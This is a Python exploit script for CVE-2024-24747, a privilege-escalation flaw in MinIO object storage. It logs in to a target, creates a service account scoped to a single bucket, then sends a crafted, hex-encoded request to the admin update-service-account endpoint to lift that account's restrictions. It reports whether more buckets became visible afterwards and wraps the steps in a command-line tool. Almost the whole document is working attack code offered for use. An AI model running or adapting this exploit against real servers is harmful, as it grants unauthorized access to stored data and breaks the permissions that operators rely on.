# Exploit Title: MinIO < 2024-01-31T20-20-33Z - Privilege Escalation
# Date: 2024-04-11
# Exploit Author: Jenson Zhao
# Vendor Homepage: https://min.io/
# Software Link: https://github.com/minio/minio/
# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z
# Tested on: Windows 10
# CVE : CVE-2024-24747
# Required before execution: pip install minio,requests
import argparse
import datetime
import traceback
import urllib
from xml.dom.minidom import parseString
import requests
import json
import base64
from minio.credentials import Credentials
from minio.signer import sign_v4_s3
class CVE_2024_24747:
new_buckets = []
old_buckets = []
def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):
self.bucket_names = ['pocpublic', 'pocprivate']
self.new_accesskey = 'miniocvepoc'
self.new_secretkey = 'MINIOcvePOC'
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',
'Content-Type': 'application/json',
'Accept': '*/*'
}
self.accesskey = accesskey
self.secretkey = secretkey
self.verify = verify
if verify:
self.url = "https://" + host + ":" + port
self.console_url = "https://" + host + ":" + console_port
else:
self.url = "http://" + host + ":" + port
self.console_url = "http://" + host + ":" + console_port
self.credits = Credentials(
access_key=self.new_accesskey,
secret_key=self.new_secretkey
)
self.login()
try:
self.create_buckets()
self.create_accesskey()
self.old_buckets = self.console_ls()
self.console_exp()
self.new_buckets = self.console_ls()
except:
traceback.print_stack()
finally:
self.delete_accesskey()
self.delete_buckets()
if len(self.new_buckets) > len(self.old_buckets):
print("There is CVE-2024-24747 problem with the minio!")
print("Before the exploit, the buckets are : " + str(self.old_buckets))
print("After the exploit, the buckets are : " + str(self.new_buckets))
else:
print("There is no CVE-2024-24747 problem with the minio!")
def login(self):
url = self.url + "/api/v1/login"
payload = json.dumps({
"accessKey": self.accesskey,
"secretKey": self.secretkey
})
self.session = requests.session()
if self.verify:
self.session.verify = False
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
# print(status_code)
if status_code == 204:
status_code = 0
else:
print('Login failed! Please check if the input accesskey and secretkey are correct!')
exit(1)
def create_buckets(self):
url = self.url + "/api/v1/buckets"
for name in self.bucket_names:
payload = json.dumps({
"name": name,
"versioning": False,
"locking": False
})
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
# print(status_code)
if status_code == 200:
status_code = 0
else:
print("新建 (New)"+name+" bucket 失败 (fail)！")
def delete_buckets(self):
for name in self.bucket_names:
url = self.url + "/api/v1/buckets/" + name
status_code = self.session.request("DELETE", url, headers=self.headers).status_code
# print(status_code)
if status_code == 204:
status_code = 0
else:
print("删除 (delete)"+name+" bucket 失败 (fail)！")
def create_accesskey(self):
url = self.url + "/api/v1/service-account-credentials"
payload = json.dumps({
"policy": "{ \n \"Version\":\"2012-10-17\", \n \"Statement\":[ \n { \n \"Effect\":\"Allow\", \n \"Action\":[ \n \"s3:*\" \n ], \n \"Resource\":[ \n \"arn:aws:s3:::pocpublic\", \n \"arn:aws:s3:::pocpublic/*\" \n ] \n } \n ] \n}",
"accessKey": self.new_accesskey,
"secretKey": self.new_secretkey
})
status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code
# print(status_code)
if status_code == 201:
# print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)！")
# print(self.new_secretkey)
status_code = 0
else:
print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)！")
def delete_accesskey(self):
url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')
status_code = self.session.request("DELETE", url, headers=self.headers).status_code
# print(status_code)
if status_code == 204:
# print("删除" + self.new_accesskey + " accessKey成功！")
status_code = 0
else:
print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)！")
def headers_gen(self,url,sha256,method):
datetimes = datetime.datetime.utcnow()
datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')
urls = urllib.parse.urlparse(url)
headers = {
'X-Amz-Content-Sha256': sha256,
'X-Amz-Date': datetime_str,
'Host': urls.netloc,
}
headers = sign_v4_s3(
method=method,
url=urls,
region='us-east-1',
headers=headers,
credentials=self.credits,
content_sha256=sha256,
date=datetimes,
)
return headers
def console_ls(self):
url = self.console_url + "/"
sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
headers = self.headers_gen(url,sha256,'GET')
if self.verify:
response = requests.get(url,headers=headers,verify=False)
else:
response = requests.get(url, headers=headers)
DOMTree = parseString(response.text)
collection = DOMTree.documentElement
buckets = collection.getElementsByTagName("Bucket")
bucket_names = []
for bucket in buckets:
bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)
# print('当前可查看的bucket有:\n' + str(bucket_names))
return bucket_names
def console_exp(self):
url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey
sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"
headers = self.headers_gen(url, sha256, 'POST')
hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"
content = bytes.fromhex(hex_string)
if self.verify:
response = requests.post(url,headers=headers,data=content,verify=False)
else:
response = requests.post(url,headers=headers,data=content)
status_code = response.status_code
if status_code == 204:
# print("提升" + self.new_accesskey + " 权限成功！")
status_code = 0
else:
print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)！")
if __name__ == '__main__':
logo = """
____ ___ ____ _ _ ____ _ _ _____ _ _ _____
___ __ __ ___ |___ \ / _ \ |___ \ | || | |___ \ | || | |___ || || | |___ |
/ __|\ \ / / / _ \ _____ __) || | | | __) || || |_ _____ __) || || |_ / / | || |_ / /
| (__ \ V / | __/|_____| / __/ | |_| | / __/ |__ _||_____| / __/ |__ _| / / |__ _| / /
\___| \_/ \___| |_____| \___/ |_____| |_| |_____| |_| /_/ |_| /_/
"""
print(logo)
parser = argparse.ArgumentParser()
parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")
parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")
parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")
parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")
parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")
parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")
args = parser.parse_args()
CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)
